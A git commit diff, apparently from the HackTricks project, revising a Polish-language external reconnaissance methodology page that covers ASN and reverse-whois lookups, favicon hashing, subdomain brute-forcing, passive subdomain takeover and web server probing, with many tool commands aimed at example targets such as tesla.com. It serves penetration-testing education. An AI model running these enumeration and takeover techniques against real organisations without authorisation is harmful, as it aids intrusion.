Translated ['generic-methodologies-and-resources/external-recon-methodol

This commit is contained in:
Translator 2024-04-10 13:40:43 +00:00
parent 7c205aed6f
commit c5fbb61039
8 changed files with 611 additions and 171 deletions

View file

@ -526,7 +526,8 @@
* [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
* [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
* [Captcha Bypass](pentesting-web/captcha-bypass.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception.md)
* [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
* [Cache Poisoning to DoS](pentesting-web/cache-deception/cache-poisoning-to-dos.md)
* [Clickjacking](pentesting-web/clickjacking.md)
* [Client Side Template Injection (CSTI)](pentesting-web/client-side-template-injection-csti.md)
* [Client Side Path Traversal](pentesting-web/client-side-path-traversal.md)

View file

@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -27,7 +27,7 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrut
Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy**, a następnie wszystkich **zasobów** tych firm. Aby to osiągnąć, będziemy:
1. Znaleźć przejęcia głównej firmy, co pozwoli nam poznać firmy wchodzące w zakres.
2. Znaleźć ASN (jeśli istnieje) każdej firmy, co pozwoli nam poznać zakresy IP posiadane przez każdą firmę.
2. Znaleźć numer ASN (jeśli istnieje) każdej firmy, co pozwoli nam poznać zakresy IP posiadane przez każdą firmę.
3. Użyć odwróconego wyszukiwania whois, aby szukać innych wpisów (nazwy organizacji, domeny...) związanych z pierwszym (można to zrobić rekurencyjnie).
4. Użyć innych technik, takich jak filtry shodan `org` i `ssl`, aby szukać innych zasobów (szczególnie trik z `ssl` można wykonać rekurencyjnie).
@ -37,14 +37,14 @@ Po pierwsze, musimy dowiedzieć się, które **inne firmy należą do głównej
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukanie** **głównej firmy**, a następnie **kliknięcie** w "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
Inną opcją jest odwiedzenie strony **Wikipedii** głównej firmy i wyszukanie **przejęć**.
> Ok, w tym momencie powinieneś znać wszystkie firmy wchodzące w zakres. Spróbujmy teraz znaleźć ich zasoby.
> Ok, w tym momencie powinieneś znać wszystkie firmy wchodzące w zakres. Spróbujmy teraz dowiedzieć się, jak znaleźć ich zasoby.
### **ASNs**
Numer autonomicznego systemu (**ASN**) to **unikalny numer** przypisany **autonomicznemu systemowi** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
AS składa się z **bloków** adresów **IP**, które mają jasno określoną politykę dostępu do sieci zewnętrznych i są administrowane przez jedną organizację, ale mogą składać się z kilku operatorów.
AS składa się z **bloków** adresów **IP**, które mają zdefiniowaną politykę dostępu do sieci zewnętrznych i są administrowane przez jedną organizację, ale mogą składać się z kilku operatorów.
Interesujące jest dowiedzieć się, czy **firma ma przypisany jakiś ASN**, aby poznać jej **zakresy IP**. Warto przeprowadzić **test podatności** przeciwko wszystkim **hostom** w **zakresie** i szukać **domen** w tych IP.\
Interesujące jest dowiedzenie się, czy **firma ma przypisany jakiś ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** na wszystkich **hostach** w **zakresie** i szukać **domen** w tych IP.\
Możesz **szukać** po nazwie firmy, po **IP** lub po **domenie** na stronie [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**W zależności od regionu firmy te linki mogą być przydatne do zebrania więcej danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** znajdują się już na pierwszym linku.
```bash
@ -52,7 +52,7 @@ Możesz **szukać** po nazwie firmy, po **IP** lub po **domenie** na stronie [**
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)** automatycznie agreguje i podsumowuje ASNs na końcu skanowania poddomen.
Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** automatycznie agreguje i podsumowuje ASNs na końcu skanowania.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -74,9 +74,9 @@ Możesz znaleźć IP i ASN domeny korzystając z [http://ipv4info.com/](http://i
### **Wyszukiwanie podatności**
W tym momencie znamy **wszystkie zasoby w zakresie**, więc jeśli masz zgodę, możesz uruchomić skaner **podatności** (Nessus, OpenVAS) na wszystkich hostach.\
W tym momencie znamy **wszystkie zasoby w zakresie**, więc jeśli masz zgodę, możesz uruchomić niektóre **skanery podatności** (Nessus, OpenVAS) na wszystkich hostach.\
Możesz także uruchomić niektóre [**skanowania portów**](../pentesting-network/#discovering-hosts-from-the-outside) **lub skorzystać z usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** sprawdzić w tej książce, jak testować penetracyjnie kilka możliwych usług działających.\
**Warto również wspomnieć, że możesz przygotować listy domyślnych nazw użytkowników i** haseł **i spróbować** próbować siłowo **usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
**Warto również wspomnieć, że możesz przygotować listy domyślnych nazw użytkowników i** haseł **i spróbować** ataków siłowych na usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeny
@ -98,21 +98,21 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
Aby to działało, administrator musi ręcznie włączyć PTR.\
Możesz także skorzystać z narzędzia online do uzyskania tych informacji: [http://ptrarchive.com/](http://ptrarchive.com)
### **Odwrócony Whois (pętla)**
### **Reverse Whois (pętla)**
Wewnątrz **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **adresy e-mail**, numery telefonów... Ale co jeszcze bardziej interesujące, to że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone wyszukiwanie whois według któregokolwiek z tych pól** (na przykład inne rejestry whois, gdzie pojawi się ten sam adres e-mail).\
Wewnątrz **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **maile**, numery telefonów... Ale co jeszcze bardziej interesujące, to że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrotne wyszukiwanie whois po dowolnym z tych pól** (na przykład inne rejestry whois, gdzie pojawi się ten sam e-mail).\
Możesz skorzystać z narzędzi online, takich jak:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Darmowe**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Darmowe**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Darmowe** w sieci, nie darmowe API.
* [https://www.whoxy.com/](https://www.whoxy.com) - **Darmowe** w sieci, płatne API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Płatne
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Płatne (tylko **100 darmowych** wyszukiwań)
* [https://www.domainiq.com/](https://www.domainiq.com) - Płatne
Możesz zautomatyzować to zadanie, korzystając z [**DomLink** ](https://github.com/vysecurity/DomLink)(wymaga klucza API whoxy).\
Możesz także automatycznie odkrywać odwrócony whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Możesz także wykonać automatyczne odkrywanie odwrotnego whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Zauważ, że tę technikę można wykorzystać do odkrywania kolejnych nazw domen za każdym razem, gdy znajdziesz nową domenę.**
@ -121,7 +121,7 @@ Możesz także automatycznie odkrywać odwrócony whois za pomocą [amass](https
Jeśli znajdziesz **ten sam identyfikator tego samego śledzenia** na 2 różnych stronach, możesz przypuszczać, że **obie strony****zarządzane przez ten sam zespół**.\
Na przykład, jeśli zobaczysz ten sam **identyfikator Google Analytics** lub ten sam **identyfikator Adsense** na kilku stronach.
Istnieją strony i narzędzia, które pozwalają wyszukiwać te śledzacze i więcej:
Istnieją strony i narzędzia, które pozwalają wyszukiwać po tych śledzaczach i nie tylko:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@ -136,15 +136,15 @@ Czy wiedziałeś, że możemy znaleźć powiązane domeny i subdomeny naszego ce
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - odkryj domeny z tym samym haszem ikony favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - odkrywanie domen z tym samym haszem ikony favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Po prostu mówiąc, favihash pozwoli nam odkryć domeny, które mają ten sam hash ikony favicon co nasz cel.
Po prostu mówiąc, favihash pozwoli nam odkryć domeny, które mają ten sam hasz ikony favicon co nasz cel.
Co więcej, możesz również wyszukiwać technologie za pomocą hasha favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hash faviconu podatnej wersji technologii internetowej**, możesz wyszukać go w shodan i **znaleźć więcej podatnych miejsc**:
Co więcej, możesz również wyszukiwać technologie za pomocą hasza favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hasz faviconu podatnej wersji technologii internetowej**, możesz wyszukać go w shodan i **znaleźć więcej podatnych miejsc**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
To jest sposób, w jaki możesz **obliczyć skrót favicon** strony internetowej:
To jest sposób obliczenia **hasz ikony strony** internetowej:
```python
import mmh3
import requests
@ -168,53 +168,66 @@ To powszechne mieć zadanie cron, takie jak
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### **Metodologia pasywnego przejęcia**
### Metoda odnawiania certyfikatów domenowych
Wygląda na to, że ludzie często przypisują subdomeny do adresów IP należących do dostawców chmurowych i w pewnym momencie **tracą ten adres IP, ale zapominają usunąć rekord DNS**. Dlatego po prostu **uruchomienie maszyny wirtualnej** w chmurze (np. Digital Ocean) faktycznie **przejmie niektóre subdomeny**.
Aby odnowić wszystkie certyfikaty domenowe na serwerze. Oznacza to, że nawet jeśli CA używane do tego nie ustawia czasu generowania w Czasie ważności, jest możliwe **znalezienie domen należących do tej samej firmy w dziennikach transparentności certyfikatów**.\
Sprawdź ten [**artykuł, aby uzyskać więcej informacji**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia tę kwestię i proponuje skrypt, który **uruchamia maszynę wirtualną w DigitalOcean**, **pobiera** adres **IPv4** nowej maszyny i **szuka w Virustotal rekordów subdomen** wskazujących na nią.
### Informacje DMARC dotyczące poczty
Możesz skorzystać z witryny takiej jak [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) lub narzędzia takiego jak [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains), aby znaleźć **domeny i subdomeny, które dzielą te same informacje DMARC**.
### **Pasywne przejęcie**
Wygląda na to, że ludzie często przypisują subdomeny do adresów IP należących do dostawców chmurowych i w pewnym momencie **tracą ten adres IP, ale zapominają o usunięciu rekordu DNS**. Dlatego po prostu **uruchamiając maszynę wirtualną** w chmurze (np. Digital Ocean) faktycznie **przejmiesz niektóre subdomeny**.
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia maszynę wirtualną w DigitalOcean**, **pobiera** adres **IPv4** nowej maszyny, a następnie **szuka w Virustotal rekordów subdomen** wskazujących na nią.
### **Inne sposoby**
**Zauważ, że tę technikę można wykorzystać do odkrywania kolejnych nazw domen za każdym razem, gdy znajdziesz nową domenę.**
**Zauważ, że możesz wykorzystać tę technikę, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
**Shodan**
Ponieważ już znasz nazwę organizacji posiadającej przestrzeń IP, możesz wyszukać te dane w Shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych nieoczekiwanych domen w certyfikacie TLS.
Ponieważ już znasz nazwę organizacji posiadającej przestrzeń IP. Możesz wyszukać te dane w Shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych, nieoczekiwanych domen w certyfikacie TLS.
Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwę organizacji** i następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich znanych stron internetowych w **Shodan** z filtrem: `ssl:"Tesla Motors"` lub użyć narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwę organizacji**, a następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich znanych stron internetowych w **Shodan** z filtrem: `ssl:"Tesla Motors"` lub skorzystać z narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) to narzędzie, które szuka **powiązanych domen** z główną domeną i **ich subdomen**, całkiem niesamowite.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) to narzędzie, które szuka **powiązanych domen** z główną domeną i **ich subdomen**, naprawdę niesamowite.
### **Wyszukiwanie podatności**
Sprawdź, czy istnieje możliwość [przejęcia domeny](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Być może jakaś firma **używa domeny**, ale **utrata własności**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
Sprawdź, czy istnieje [przejęcie domeny](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Być może jakaś firma **używa pewnej domeny**, ale **utrata własności**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
Jeśli znajdziesz jakąkolwiek **domenę z innym adresem IP** niż te, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (za pomocą Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
Jeśli znajdziesz jakąkolwiek **domenę z innym adresem IP** niż te, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (korzystając z Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
_Zauważ, że czasami domena jest hostowana wewnątrz adresu IP, który nie jest kontrolowany przez klienta, więc nie jest to w zakresie, bądź ostrożny._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium platformie **bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium platformie **bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Subdomeny
> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie powiązane z nimi domeny.
> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie domeny związane z firmami.
Nadszedł czas, aby znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny.
{% hint style="success" %}
Zauważ, że niektóre z narzędzi i technik do znajdowania domen mogą również pomóc w znalezieniu subdomen!
{% endhint %}
### **DNS**
Spróbujmy uzyskać **subdomeny** z rekordów **DNS**. Powinniśmy również spróbować **Transferu Strefowego** (jeśli jest podatny, powinieneś to zgłosić).
Spróbujmy uzyskać **subdomeny** z rekordów **DNS**. Powinniśmy również spróbować **Transferu Strefy** (jeśli jest podatny, powinieneś to zgłosić).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
Najszybszym sposobem na uzyskanie wielu subdomen jest wyszukiwanie w źródłach zewnętrznych. Najczęściej używane **narzędzia** to:
Najszybszym sposobem na uzyskanie dużej liczby subdomen jest wyszukiwanie w zewnętrznych źródłach. Najczęściej używane **narzędzia** to:
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -263,7 +276,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Istnieją **inne interesujące narzędzia/API**, które, nawet jeśli nie są bezpośrednio specjalizowane w znajdowaniu subdomen, mogą być przydatne do ich znalezienia, takie jak:
Istnieją **inne interesujące narzędzia/API**, które mogą być przydatne do znalezienia subdomen, takie jak:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Korzysta z interfejsu API [https://sonar.omnisint.io](https://sonar.omnisint.io) do uzyskiwania subdomen
```bash
@ -295,7 +308,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z AlienVault's Open Threat Exchange, Wayback Machine i Common Crawl dla określonej domeny.
* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z AlienVault's Open Threat Exchange, Wayback Machine i Common Crawl dla dowolnej domeny.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -315,7 +328,7 @@ shodan domain <domain>
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
* [**Censys narzędzie do znajdowania subdomen**](https://github.com/christophetd/censys-subdomain-finder)
```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
@ -325,7 +338,7 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
* [**securitytrails.com**](https://securitytrails.com/) ma darmowe API do wyszukiwania subdomen i historii adresów IP
* [**securitytrails.com**](https://securitytrails.com/) udostępnia darmowe API do wyszukiwania subdomen oraz historii adresów IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Ten projekt oferuje **darmowo wszystkie subdomeny związane z programami bug bounty**. Możesz uzyskać dostęp do tych danych również za pomocą [chaospy](https://github.com/dr-0x0x/chaospy) lub uzyskać dostęp do zakresu używanego przez ten projekt [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
@ -336,7 +349,7 @@ Możesz znaleźć **porównanie** wielu z tych narzędzi tutaj: [https://blog.bl
Spróbujmy znaleźć nowe **subdomeny** za pomocą ataku brutalnej siły na serwery DNS, używając możliwych nazw subdomen.
Do tego działania będziesz potrzebować kilku **często używanych list słów dla subdomen, takich jak**:
Do tego działania będziesz potrzebować kilku **popularnych list słów dla subdomen, takich jak**:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -358,7 +371,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) jest nakładką na `massdns`, napisaną w języku go, która pozwala na wyliczenie prawidłowych subdomen za pomocą aktywnego bruteforce, a także rozwiązywanie subdomen z obsługą symboli wieloznacznych i łatwym wsparciem wejścia-wyjścia.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) jest opakowaniem wokół `massdns`, napisanym w języku go, które pozwala na wyliczenie prawidłowych subdomen za pomocą aktywnego brutalnego ataku, a także rozwiązywanie subdomen z obsługą symboli wieloznacznych i łatwym wsparciem wejścia-wyjścia.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -372,9 +385,9 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Druga runda brutalnej siły DNS
Po znalezieniu subdomen za pomocą otwartych źródeł i brutalnej siły, można wygenerować zmiany znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych do tego celu:
Po znalezieniu subdomen przy użyciu otwartych źródeł i brutalnej siły, można wygenerować zmiany znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych do tego celu:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dla domen i subdomen generuje permutacje.
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dla podanych domen i subdomen generuje permutacje.
```bash
cat subdomains.txt | dnsgen -
```
@ -383,12 +396,12 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Mając domeny i subdomeny generuj permutacje. Jeśli nie zostanie wskazany plik permutacji, gotator użyje własnego.
* [**gotator**](https://github.com/Josue87/gotator)**:** Dla podanych domen i subdomen generuje permutacje. Jeśli nie zostanie wskazany plik permutacji, gotator użyje własnego.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej jest użyć wcześniej skomentowanych narzędzi).
* Możesz pobrać listę słów do permutacji **altdns** [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* Możesz pobrać listę permutacji **słów** dla altdns [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -408,25 +421,25 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer siły brutalnej subdomen połączony z niezwykle prostym, ale skutecznym algorytmem prowadzonym przez odpowiedź DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozwijać je jeszcze bardziej w pętli na podstawie zebranych informacji podczas skanowania DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer siły brutalnej subdomen połączony z niezwykle prostym, ale skutecznym algorytmem prowadzonym przez odpowiedź DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających im nazw domen i rozwijać je jeszcze bardziej w pętli na podstawie informacji zebranych podczas skanowania DNS.
```
echo www | subzuf facebook.com
```
### **Workflow Odkrywania Subdomen**
Sprawdź ten wpis na blogu, który napisałem o tym, jak **zautomatyzować odkrywanie subdomen** z domeny przy użyciu **najlepszych workflowów**, aby nie musieć ręcznie uruchamiać wielu narzędzi na swoim komputerze:
Sprawdź ten wpis na blogu, który napisałem na temat **automatyzacji odkrywania subdomen** z domeny przy użyciu **najtrudniejszych workflowów**, dzięki czemu nie muszę ręcznie uruchamiać wielu narzędzi na swoim komputerze:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### **VHosts / Wirtualne Hosty**
### **VHosts / Hosty Wirtualne**
Jeśli znalazłeś adres IP zawierający **jedną lub kilka stron internetowych** należących do subdomen, możesz spróbować **znaleźć inne subdomeny z witrynami na tym IP**, szukając w **źródłach OSINT** domen na danym IP lub **próbując siłowo nazwy domen VHost na tym IP**.
#### OSINT
Możesz znaleźć niektóre **VHosty w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych interfejsów API**.
Możesz znaleźć niektóre **Hosty Wirtualne w IP za pomocą** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **lub innych interfejsów API**.
**Atak Siłowy**
@ -461,15 +474,15 @@ Ponadto, w tym momencie będąc już zaznajomionym ze wszystkimi domenami w zakr
### **Monitorowanie**
Możesz **monitorować** tworzenie się **nowych poddomen** domeny, monitorując **logi Transparentności Certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) robi to za Ciebie.
Możesz **monitorować** tworzenie się **nowych poddomen** domeny, monitorując **logi Transparentności Certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Poszukiwanie podatności**
Sprawdź możliwe [**przejęcia poddomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Jeśli **poddomena** wskazuje na **kubełek S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Jeśli **poddomena** wskazuje na jakiś **kubełek S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Jeśli znajdziesz jakąkolwiek **poddomenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) przy użyciu **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do ich "atakowania"**.\
_Zauważ, że czasami poddomena jest hostowana pod adresem IP, który nie jest kontrolowany przez klienta, więc nie jest w zakresie, bądź ostrożny._
_Zauważ, że czasami poddomena jest hostowana wewnątrz adresu IP, który nie jest kontrolowany przez klienta, więc nie jest w zakresie, bądź ostrożny._
## Adresy IP
@ -490,14 +503,14 @@ Znajdź **przewodnik** [**tutaj**](../pentesting-network/) **o tym, jak skanowa
## Polowanie na serwery WWW
> Znaleźliśmy wszystkie firmy i ich zasoby oraz znamy zakresy IP, domeny i poddomeny w zakresie. Czas poszukać serwerów WWW.
> Znaleźliśmy wszystkie firmy i ich zasoby, znamy zakresy IP, domeny i poddomeny w zakresie. Czas poszukać serwerów WWW.
W poprzednich krokach prawdopodobnie już przeprowadziłeś pewne **rozpoznanie odkrytych adresów IP i domen**, więc możesz **już znaleźć wszystkie możliwe serwery WWW**. Jeśli jednak nie, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów WWW** w zakresie.
Należy zauważyć, że będzie to **zorientowane na odkrywanie aplikacji internetowych**, dlatego powinieneś również **przeprowadzić skanowanie podatności** i **portów** również (**jeśli zezwala na to** zakres).
**Szybka metoda** odkrywania **otwartych portów** związanych z **serwerami WWW** za pomocą [**masscan można znaleźć tutaj**](../pentesting-network/#http-port-discovery).\
Innym przyjaznym narzędziem do poszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo, można wskazać próbę połączenia z innymi portami:
Innym przyjaznym narzędziem do poszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy przekazać listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo można wskazać próbę połączenia z innymi portami:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -508,11 +521,11 @@ Teraz, gdy odkryłeś **wszystkie serwery sieciowe** obecne w zakresie (wśród
